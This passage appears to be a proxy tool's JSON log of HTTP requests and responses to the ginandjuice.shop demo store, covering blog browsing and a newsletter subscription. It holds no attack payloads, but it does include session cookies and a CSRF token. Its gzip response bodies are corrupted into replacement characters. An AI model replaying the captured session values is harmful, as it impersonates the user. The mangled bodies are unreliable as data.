3\\ufffdi\\u0016M\\ufffd\\ufffdp\\ufffd\\n\\ufffd\\ufffdd9\\ufffd\\ufffd3\\ufffdH\\ufffd\\ufffdn\\ufffd\\ufffdt\\u0001\\ufffd\\u0001\\ufffd\\u0003\\ufffd\\ufffd\\ufffd\\ufffd\\\\\\ufffd޴\\ufffd\\ufffd\\ufffd\\ufffdQ\\ufffd\\ufffd\\ufffdZ\\ufffd(\\ufffd³\\ufffd\\ufffd\\u0016\\ufffd\\ufffd~p\\ufffd\\ufffd\\ufffd\\ufffd-\\n\\ufffd\\ufffd?\\n')\\ufffd\\ufffd\\ufffd\\ufffdy\\ufffd\\ufffd8\\ufffd'W\\ufffd\\ufffd\\ufffdR\\ufffd\\ufffdp\\ufffd\\ufffdB\\ufffd\\ufffdp\\ufffdz\\ufffdr\\u001c\\u0007N-\\ufffd(Ē\\ufffd\\ufffd_u\\ufffd\\u0016\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdq\\u000b;[\\u001d\\ufffd\\ufffd\\ufffdS\\ufffd\\ufffd\\ufffd*ȭ\\ufffd\\ufffd̰\\ufffdJ\\ufffd\\u0018mc\\ufffd\\ufffd#\\ufffd\\ufffd\\ufffd\\u000cO\\u0008\\ufffd.֝\\ufffd1rLYs\\ufffdĻ\\ufffd\\ufffd\\ufffdƘA\\ufffd\\ufffd\\u0011\\ufffd\\u0011\\ufffd\\ufffd\\u0000\\ufffd\\ufffd\\u000c\\ufffd\\u0008\\ufffd\\\\\\ufffdP\\ufffd\\u00108\\u000ch\\ufffd\\ufffd;4Y\\ufffd\\ufffd'*U\\u0002\\ufffde\\ufffd\\ufffd\\ufffd\\u0008\\ufffd?\\u0014\\ufffd\\u00054'\\u0011\\ufffd\\ufffd\\ufffd\\u000b*g\\ufffd)\\ufffd\\ufffd4ͨD\\ufffdT\\n\\ufffd\\u0008\\ufffd\\ufffdYeI(\\ufffd\\ufffdYJT(\\ufffd\\u0002\\ufffdM|\\ufffd\\ufffd)\\u000b\\ufffd\\ufffd\\ufffd\\u000cK\\u0014p\\\"\\ufffd\\ufffdD\\u0012\\u000b\\ufffdg'DJ0\\ufffdz\\u0014%\\ufffd\\ufffd\\u0000\\r\\ufffdH\\ufffdp\\u0010\\ufffd\\ufffdG\\u0018\\ufffd\\ufffd\\u0017\\ufffd#\\ufffd@z\\ufffd!\\ufffd\\ufffd\\u0015*\\ufffd\\ufffdp\\u00060\\n\\ufffd\\ufffd\\u0004\\ufffd\\ufffd\\ufffd\\ufffd\\u0016j@\\ufffd\\ufffd\\ufffdD\\ufffd\\ufffd \\ufffdL\\ufffd\\ufffdTT\\u001c\\u001a\\ufffd`.R.Q\\ufffdy\\u0000\\ufffd\\u003c\\u000bg}\\u001d\\u0012\\ufffd\\u0002\\u000eN\\ufffd\\ufffd]\\ufffd\\ufffd w\\ufffdn\\ufffd\\ufffd\\ufffd¯\\u0017ߡ\\ufffdW\\ufffd\\ufffd̝y\\u0001\\ufffd\\ufffdg\\ufffd3\\ufffdߵ\\ufffd\\u0005\\ufffd+2\\ufffd#\\ufffd\\ufffd\\\\u\\ufffd\\t\\ufffd,\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\\\\\ufffd\\u001d\\ufffd\\ufffdB\\u0011\\ufffd)B\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd-\\u0015oD\\ufffd\\u0004\\ufffd2%\\ufffd3\\ufffd\\u0002\\u0001L\\ufffdmFa'\\ufffd\\ufffd2\\ufffd\\ufffd|\\ufffdB\\ufffd9\\ufffd,\\ufffd\\u0012\\ufffd-\\ufffd\\tUs\\u001c\\u0015f\\u0011@9\\ufffd5\\ufffdZ/\\ufffd\\ufffd\\\"\\ufffd\\ufffd〃onj\\u001e\\u000c5\\u0000\\ufffd\\u001b\\ufffdR\\ufffd\\u0019i\\u0008H\\ufffd(\\ufffd\\u0007ʤ\\ufffd%\\ufffd6-[硿\\ufffd\\u001e\\ufffdM@ݭ\\ufffd\\ufffd\\ufffd\\ufffdLA\\ufffd\\u000b#\\ufffd\\u0014\\ufffdq]\\u0015\\ufffdښ\\ufffdMV\\ufffdFDƤ\\ufffd\\ufffd6\\ufffd\\ufffd)\\ufffd\\ufffd\\ufffdݮpo\\ufffd\\ufffdq\\u001c\\ufffd\\ufffdr\\u001f\\ufffd\\ufffd\\u0016\\ufffd\\u0000̃\\ufffd\\\\G\\u0010\\ufffdf\\ufffdWs\\ufffdz\\ufffd\\ufffd9\\ufffdUJ^\\ufffd\\ufffdFhS(\\ufffd\\ufffd\\ufffd\\u000ejm\\ufffd\\ufffd(\\ufffdJ\\ufffds\\u001a\\ufffd\\ufffd\\ufffd\\u000b\\ufffd4\\ufffd1o~\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdĹ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd9ñ\\ufffdr\\ufffd[\\ufffd\\ufffd\\ufffd)ʻؒ\\\"\\ufffd\\ufffdB\\ufffd\\ufffd\\ufffd\\ufffd\\u001b\\u003c\\ufffd%\\ufffd\\ufffd\\ufffdAN,\\ufffd\\ufffd3ȩ\\ufffd\\ufffdv\\u0006\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000c\\ufffd\\ufffd\\ufffd\\ufffdw\\u0006yay/:\\ufffd\\ufffd`y?t\\u0006q\\ufffd-\\ufffd=\\ufffd\\u000e\\u0003\\u0007\\ufffd۝\\ufffd.\\ufffd\\ufffd\\ufffd\\ufffd[\\u0017\\ufffd\\ufffdvg\\ufffd\\u000b\\ufffdu\\ufffds\\ufffd\\u0005\\ufffd\\ufffd\\u0007\\ufffd\\ufffd\\ufffdal\\ufffd\\ufffd\\ufffdl\\ufffd\\ufffd\\ufffdY\\u0010(\\ufffdX\\ufffd\\ufffd\\ufffd=\\ufffd\\u000f\\u003e\\ufffd\\ufffdͰ}\\ufffd\\ufffdT\\ufffdj\\ufffdL\\ufffd\\ufffd\\u0001\\ufffd\\ufffd\\u000c\\u001b\\u0012dMB\\ufffd\\ufffd婼\\ufffd\\ufffd\\ufffdUw\\ufffdUJ\\rM9\\ufffd\\u0000\\ufffd^\\ufffd\\u0010pT瑶R\\u0018\\ufffdC]\\u001eh\\u0017\\ufffd\\ufffd\\ufffdv\\ufffd꧴\\ufffd\\ufffd\\ufffd\\u0017\\ufffd\\ufffd\\ufffd\\u0011\\ufffd\\ufffdwE\\ufffd\\u00109ET\\ufffd+^\\ufffdn\\ufffd\\ufffd{ʑ\\ufffd\\u0010\\u0015č\\u001chU\\u000f\\ufffdx\\ufffdp\\u0008\\ufffdV\\ufffdق\\u0006\\u0004\\ufffd$\\\\\\u0016\\ufffd1\\ufffd\\ufffdTGL* \\ufffd\\u0001\\u001f\\ufffd\\ufffd\\u0018\\u0002e_\\u001c\\ufffd0\\ufffd\\ufffd\\ufffd,\\u0013t\\u000e#\\ufffd\\ufffd\\ufffd\\u0008L\\u00031\\ufffd\\ufffd\\u001e\\ufffd4\\ufffd\\u000ej\\ufffd\\ufffd\\n\\u0004\\u000b\\u0002O\\u003eg\\u0010\\ufffd\\ufffdT\\ufffdӄ\\t5#\\ufffd\\ufffd\\ufffd{ë\\ufffd\\u000f\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd^\\ufffd\\u0005xq\\ufffd\\u0016^\\ufffd\\ufffd\\u0012\\ufffd\\ufffdk\\ufffd\\ufffd^\\u0005T\\u0001P\\ufffd.\\ufffd\\ufffd\\ufffd\\u000b\\ufffd\\u0017\\ufffd\\u0004Zk\\ufffd\\ufffd\\ufffdM\\ufffd\\u0004\\ufffd6e\\ufffdm1?\\u0013\\ufffd}2\\ufffd,P\\u0017߯u\\u00118\\ufffd0ۦ\\ufffd\\ufffd6њ/\\ufffd\\ufffd*P{\\ufffdk\\ufffd\\ufffd%\\ufffdE\\ufffd\\ufffdW\\ufffd\\ufffd\\ufffd\\ufffd*\\ufffd;\\ufffd\\ufffdno\\ufffdr\\u001d\\\\}Β\\ufffd\\ufffdrK\\ufffde\\u0010J\\ufffdϻ-V\\ufffd\\ufffd\\ufffd5'\\ufffd\\ufffdZ\\ufffd\\r\\ufffdy\\ufffd\\ufffd\\ufffd6%MBn\\ufffd~u\\ufffdz\\ufffdn\\ufffd\\ufffdϸ \\ufffd\\ufffd\\u0004\\ufffd\\ufffd\\ufffd\\ufffdwy\\ufffd\\ufffdƾ\\ufffd\\\"=\\u0005m\\ufffd\\ufffd3\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd4\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0006\\ufffd߁\\ufffdN\\ufffd\\ufffd\\u0004K\\ufffd\\ufffd\\u0008A\\ufffd\\ufffd:\\ufffdU\\ufffd'پ\\ufffd\\ufffd\\ufffd\\u0008\\ufffd|o\\ufffd\\ufffdz\\ufffd\\ufffd68\\u0010w\\ufffdo\\ufffdA*%\\ufffd\\ufffdAsvs\\u00036߁\\u0002:\\ufffd]m\\ufffdJh\\ufffd\\ufffd\\ufffd\\u0018(5\\ufffd?`G6֦\\ufffd:\\u0000\\ufffd$\\ufffd\\ufffd\\ufffd\\ufffdY[kV\\ufffdB\\ufffd\\ufffd\\ufffd3\\ufffd;#\\u001d\\ufffd4\\ufffdΒ\\ufffd-UJK 3\\ufffdr*t\\ufffdM\\ufffd\\ufffd\\ufffd\\ufffd\\ufffduT؈\\u0026\\u0004\\ufffd\\u0019\\ufffdVE\\ufffd\\ufffd\\u0016\\u003cUo\\ufffd5\\ufffd\\ufffdZ\\nդ\\ufffd\\ufffdQ\\ufffd\\u0006K\\ufffdu\\ufffd\\ufffd֥*\\ufffdw\\ufffdz\\ufffd\\ufffd\\ufffd\\ufffdB_\\ufffd\\ufffd7DZ-\\ufffdN\\ufffd\\ufffd\\ufffd\\ufffdhp\\u003c\\u0018\\ufffd\\u001b@\\ufffd5\\u0008\\ufffdR\\u0006\\ufffd\\u00163;\\ufffdf\\ufffdf\\ufffd\\ufffdLk\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdJ\\ufffd\\u0004f\\ufffd8\\ufffd-\\ufffdZ\\ufffdg\\ufffdp\\u0017\\ufffd\\ufffdXr\\u001fv\\ufffd\\ufffd\\ufffd僦\\ufffd\\ufffd뵚\\ufffd\\u0017\\ufffd\\ufffd\\ufffdj*k\\u000f\\ufffd\\ufffd\\ufffd\\ufffd\\u0015\\ufffdn\\ufffd\\ufffd\\u001ek\\ufffdS\\ufffdd\\ufffdI5/\\ufffdp*\\ufffd`\\ufffd}\\u0003g\\ufffd~\\ufffd\\ufffd\\ufffdf\\u0001L\\\\w,\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2459\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:33:51 GMT\\r\\nSet-Cookie: AWSALB=pP/J8f16lsfhCBOQLxBx2gL95pTIbJWbhm+SWYXVZJslAfv/IqAnVRqRQjThWb4kOcgB3DvGx/sZN+IBBSlkzBdNXp6NZQNUwkZFyEyYez/+H3CGY/gr8tlR6yEB; Expires=Thu, 14 Sep 2023 15:33:51 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=pP/J8f16lsfhCBOQLxBx2gL95pTIbJWbhm+SWYXVZJslAfv/IqAnVRqRQjThWb4kOcgB3DvGx/sZN+IBBSlkzBdNXp6NZQNUwkZFyEyYez/+H3CGY/gr8tlR6yEB; Expires=Thu, 14 Sep 2023 15:33:51 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:03:58+05:30\",\"url\":\"https://ginandjuice.shop/catalog/subscribe\",\"request\":{\"header\":{\"Accept\":\"*/*\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Content-Length\":\"69\",\"Content-Type\":\"application/json;charset=UTF-8\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=pP/J8f16lsfhCBOQLxBx2gL95pTIbJWbhm+SWYXVZJslAfv/IqAnVRqRQjThWb4kOcgB3DvGx/sZN+IBBSlkzBdNXp6NZQNUwkZFyEyYez/+H3CGY/gr8tlR6yEB; AWSALBCORS=pP/J8f16lsfhCBOQLxBx2gL95pTIbJWbhm+SWYXVZJslAfv/IqAnVRqRQjThWb4kOcgB3DvGx/sZN+IBBSlkzBdNXp6NZQNUwkZFyEyYez/+H3CGY/gr8tlR6yEB\",\"Origin\":\"https://ginandjuice.shop\",\"Referer\":\"https://ginandjuice.shop/catalog/product?productId=1\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"empty\",\"Sec-Fetch-Mode\":\"cors\",\"Sec-Fetch-Site\":\"same-origin\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"POST\",\"path\":\"/catalog/subscribe\",\"scheme\":\"https\"},\"body\":\"{\\\"email\\\":\\\"eqeq@gfmail.com\\\",\\\"csrf\\\":\\\"GQrKlppDdKQale2DNpk4mASSUzOdNqup\\\"}\",\"raw\":\"POST /catalog/subscribe HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nContent-Length: 69\\r\\nContent-Type: application/json;charset=UTF-8\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=pP/J8f16lsfhCBOQLxBx2gL95pTIbJWbhm+SWYXVZJslAfv/IqAnVRqRQjThWb4kOcgB3DvGx/sZN+IBBSlkzBdNXp6NZQNUwkZFyEyYez/+H3CGY/gr8tlR6yEB; AWSALBCORS=pP/J8f16lsfhCBOQLxBx2gL95pTIbJWbhm+SWYXVZJslAfv/IqAnVRqRQjThWb4kOcgB3DvGx/sZN+IBBSlkzBdNXp6NZQNUwkZFyEyYez/+H3CGY/gr8tlR6yEB\\r\\nOrigin: https://ginandjuice.shop\\r\\nReferer: https://ginandjuice.shop/catalog/product?productId=1\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: empty\\r\\nSec-Fetch-Mode: cors\\r\\nSec-Fetch-Site: same-origin\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"68\",\"Content-Type\":\"application/json; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:33:58 GMT\",\"Set-Cookie\":\"AWSALB=2SKCWqUz3j0AasFKb1dBCnRQrU3mM16R6pX5fClkcKjvp9b8dRFcFCYjXp5pHaVHN6uVcVD0B4tt7MAs81yd5Unvr/oSF0i53t8n7wjb/pw+/XRO6yEaCLu2sCW1; Expires=Thu, 14 Sep 2023 15:33:58 GMT; Path=/, AWSALBCORS=2SKCWqUz3j0AasFKb1dBCnRQrU3mM16R6pX5fClkcKjvp9b8dRFcFCYjXp5pHaVHN6uVcVD0B4tt7MAs81yd5Unvr/oSF0i53t8n7wjb/pw+/XRO6yEaCLu2sCW1; Expires=Thu, 14 Sep 2023 15:33:58 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdVJ\\ufffd/-\\ufffd\\ufffdS\\ufffdR\\ufffd\\ufffd\\ufffdS\\ufffd\\n\\ufffdtv5\\ufffd0\\u0008P\\ufffdQJ\\ufffdM\\ufffd\\ufffd\\u0001\\ufffd\\ufffd\\u0016\\ufffd\\u0016:\\ufffd\\ufffd\\ufffdxz\\ufffd\\ufffd\\ufffdJ\\ufffd\\u0000-/{\\ufffd4\\u0000\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 68\\r\\nContent-Encoding: gzip\\r\\nContent-Type: application/json; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:33:58 GMT\\r\\nSet-Cookie: AWSALB=2SKCWqUz3j0AasFKb1dBCnRQrU3mM16R6pX5fClkcKjvp9b8dRFcFCYjXp5pHaVHN6uVcVD0B4tt7MAs81yd5Unvr/oSF0i53t8n7wjb/pw+/XRO6yEaCLu2sCW1; Expires=Thu, 14 Sep 2023 15:33:58 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=2SKCWqUz3j0AasFKb1dBCnRQrU3mM16R6pX5fClkcKjvp9b8dRFcFCYjXp5pHaVHN6uVcVD0B4tt7MAs81yd5Unvr/oSF0i53t8n7wjb/pw+/XRO6yEaCLu2sCW1; Expires=Thu, 14 Sep 2023 15:33:58 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:03+05:30\",\"url\":\"https://ginandjuice.shop/blog\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=2rYKe8I1LwfOtI/423ImCGauGOtHRl2cXGdbbyWcVzzI5FqsI0s8Rij7fJUDNtQn4HPmweWUufw1GsgLXkGVie58e4PGUBD4je7UWtZobziKhxVouiWJeEFiNMkR; AWSALBCORS=2rYKe8I1LwfOtI/423ImCGauGOtHRl2cXGdbbyWcVzzI5FqsI0s8Rij7fJUDNtQn4HPmweWUufw1GsgLXkGVie58e4PGUBD4je7UWtZobziKhxVouiWJeEFiNMkR\",\"Referer\":\"https://ginandjuice.shop/catalog/product?productId=1\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/blog\",\"scheme\":\"https\"},\"raw\":\"GET /blog HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=2rYKe8I1LwfOtI/423ImCGauGOtHRl2cXGdbbyWcVzzI5FqsI0s8Rij7fJUDNtQn4HPmweWUufw1GsgLXkGVie58e4PGUBD4je7UWtZobziKhxVouiWJeEFiNMkR; AWSALBCORS=2rYKe8I1LwfOtI/423ImCGauGOtHRl2cXGdbbyWcVzzI5FqsI0s8Rij7fJUDNtQn4HPmweWUufw1GsgLXkGVie58e4PGUBD4je7UWtZobziKhxVouiWJeEFiNMkR\\r\\nReferer: https://ginandjuice.shop/catalog/product?productId=1\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2646\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:04 GMT\",\"Set-Cookie\":\"AWSALB=+kt6Ib2lLrBXa4YCECeKwNyIl2PFt7T1knMc4Ed88f+NSWWr4GdaZPWIqyaJBNi2eoCbLJMcYgimR45FELKCqRmtTLdXLFD6x+MBEnFw43yIfk3L1QGW79pv1ip2; Expires=Thu, 14 Sep 2023 15:34:04 GMT; Path=/, AWSALBCORS=+kt6Ib2lLrBXa4YCECeKwNyIl2PFt7T1knMc4Ed88f+NSWWr4GdaZPWIqyaJBNi2eoCbLJMcYgimR45FELKCqRmtTLdXLFD6x+MBEnFw43yIfk3L1QGW79pv1ip2; Expires=Thu, 14 Sep 2023 15:34:04 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdZ\\ufffdn\\ufffd8\\u0016\\ufffd\\ufffd\\ufffd`\\ufffdئ\\u0005b{\\ufffd\\ufffd\\ufffd\\u0005j{п\\ufffd\\ufffdh\\ufffd\\ufffd\\ufffdآ{S\\ufffd\\u0012m1\\ufffdH\\ufffdH\\ufffd\\ufffdݾ\\ufffd\\u003e¾\\ufffd\\u003e\\ufffd\\u003e\\ufffd~\\ufffd\\ufffd\\u001d\\ufffd_i\\u001b\\ufffd\\u0017S\\u0014\\ufffdD\\u001e\\u001e\\u001e\\ufffd|\\u003c\\ufffd\\ufffdދw\\ufffd?|z\\ufffd\\ufffd\\ufffd.S\\ufffd\\ufffd\\u0006\\ufffd\\ufffd\\ufffd\\ufffd \\u0015\\u003c\\t\\ufffd\\ufffdUI}\\ufffd\\ufffdBL\\ufffd\\ufffdBXS\\u0016\\ufffd\\ufffd=\\ufffd\\ufffdD\\u0026\\ufffd^lm\\ufffd\\ufffd\\\\_\\ufffd\\ufffd}C\\u0017\\r\\ufffd\\u0010jh]\\ufffd\\ufffdM\\ufffdp\\ufffd\\ufffd\\u0011\\u000b0\\ufffdϔ\\ufffd~\\ufffd\\ufffdKH\\ufffd\\ufffd\\ufffd\\u000c2\\ufffd8\\ufffd\\u003c\\u0013\\ufffdh\\u0026\\ufffd\\u003c7\\ufffd\\ufffdXl\\ufffd\\u0013\\ufffd\\r\\ufffd\\ufffdL\\\\:L\\ufffdLƢ\\ufffd_\\ufffdYiE\\ufffd\\ufffd\\u00021\\ufffd\\u0012Cm\\ufffd\\u00067\\u001b\\u00172w\\ufffd\\u0016\\ufffd0j\\u0008te\\ufffd\\ufffdc\\ufffd\\u0005'\\ufffdL\\ufffd\\ufffdy\\ufffd\\ufffdF\\ufffdA/\\ufffdhϢ\\ufffd\\ufffd\\ufffd\\u0016l\\\\\\ufffdceN|q\\ufffd+\\u003e\\ufffd\\ufffd5\\ufffdƝ\\ufffdi\\ufffdx\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd.\\ufffdN:%F\\ufffd\\u0016\\ufffda\\ufffd\\ufffdf\\ufffdy\\ufffd?a\\ufffdK\\ufffd\\u000f\\ufffdLM\\u003e\\ufffd\\u0005\\ufffd\\u0000\\ufffd\\ufffd\\rr\\u0006c\\ufffdTLO;\\u003c\\ufffd\\u001b\\u000c\\u00139c2\\u0019FM\\ufffd464,E\\ufffdN\\u001a\\ufffdbŭ\\u001dF\\u0001f\\ufffdD\\u0004\\ufffdг6\\ufffd\\u000f\\ufffd7\\ufffd\\ufffd߇TZ\\ufffd\\ufffd\\ufffd%Bɱ(\\ufffd\\u0013\\ufffdb\\ufffdRi\\u003cC\\ufffdl.\\ufffd\\u000c2*\\u0019s?+\\ufffd\\ufffdS-\\u001261\\u0005s\\ufffd:\\ufffd\\ufffdDt_\\ufffdm\\ufffdd1P*\\ufffd\\ufffd\\ufffdDKA\\ufffd\\ufffdn\\u0015``s\\ufffd\\\\\\n\\ufffd7bFg\\u0006\\ufffd\\ufffd2EA\\ufffdӉ\\ufffdw?\\ufffd\\ufffdgC\\ufffd_v\\ufffd\\ufffdj\\ufffd\\ufffdJo\\ufffd\\ufffdf\\ufffdi\\ufffd]t\\ufffdU7\\ufffd\\ufffdV\\u0006\\ufffd\\ufffd0\\ufffd\\u0013\\ufffd\\ufffd9\\ufffd\\ufffd\\ufffd\\ufffd9\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdC\\ufffdL\\ufffd[CƝ\\u0019?8zs\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd#\\u0015g\\ufffdI\\ufffd\\ufffdK\\ufffd\\ufffdR*\\ufffd\\u000f\\ufffdG\\u000f\\ufffd\\ufffd*\\ufffdIf\\ufffdA8\\ufffd`\\ufffd\\ufffd6\\ufffdN\\ufffd\\ufffd\\ufffdni;\\ufffdF\\ufffdK\\ufffd*\\ufffd\\ufffd\\ufffdz`\\ufffd0\\ufffd\\n\\ufffd\\ufffd{\\ufffd4\\ufffd\\u000b\\\\zkx\\u0001a@\\ufffd^,\\u001e\\u0005\\ufffd\\u003e\\ufffd\\u0013\\u001dmaK\\ufffd\\u000e\\ufffddR\\ufffd\\u0004\\ufffdv\\\\\\u000ex\\ufffdbG\\ufffd-l\\ufffd\\ufffd\\ufffd޴up\\u0010\\r\\ufffd)\\ufffdw\\ufffd\\ufffd\\ufffd\\u001d\\u001d7\\ufffd\\ufffd\\ufffd\\ufffd\\u001c\\ufffdϏ\\ufffd|\\ufffd4K\\ufffdR-\\ufffd\\rZ9\\ufffd\\ufffd\\ufffd\\ufffd\\u0007\\ufffd\\ufffdnY^Ȍ\\u0017Ux\\ufffdrp7X*y\\ufffd\\ufffd\\u0013\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd9\\u0018\\ufffd\\ufffd\\ufffdQ\\u000f\\ufffd\\ufffd\\ufffd' \\ufffd0I\\u0019;\\ufffdsSV\\ufffd\\ufffd\\ufffdL\\ufffd\\ufffd\\ufffd1\\ufffd\\ufffdD\\ufffd\\u0014s\\ufffde$\\ufffd\\ufffd#ȷ\\u0014\\ufffd\\ufffdM\\ufffd\\ufffd\\ufffd;:P\\ufffd\\u0014\\ufffdw\\u0012n\\ufffd+\\ufffd7c\\t\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdؔ\\ufffdud\\ufffdؕ\\ufffd\\ufffd\\ufffd\\ufffdp\\ufffdv6\\u001d\\r`\\ufffd\\u0016\\ufffd7n\\u0015P\\ufffd\\ufffd\\u000f\\ufffd.軠\\ufffd\\ufffd\\nO\\ufffd_\\u000c\\u0026oK|\\ufffdlo\\ufffd=\\ufffd\\u0008o\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd7\\ufffd\\u0002\\ufffdn-\\ufffd\\ufffd\\ufffd\\n\\ufffdw+\\ufffdE\\ufffd\\ufffd\\ufffd;\\u0012\\ufffd0\\ufffd\\ufffd\\ufffd\\ufffd\\n\\ufffdƼXCkm\\u0001{\\ufffdCx%\\u0017د]aK\\ufffd\\ufffdP\\u000f\\ufffd\\u001b\\ufffd\\ufffd\\ufffdm\\ufffd%7\\u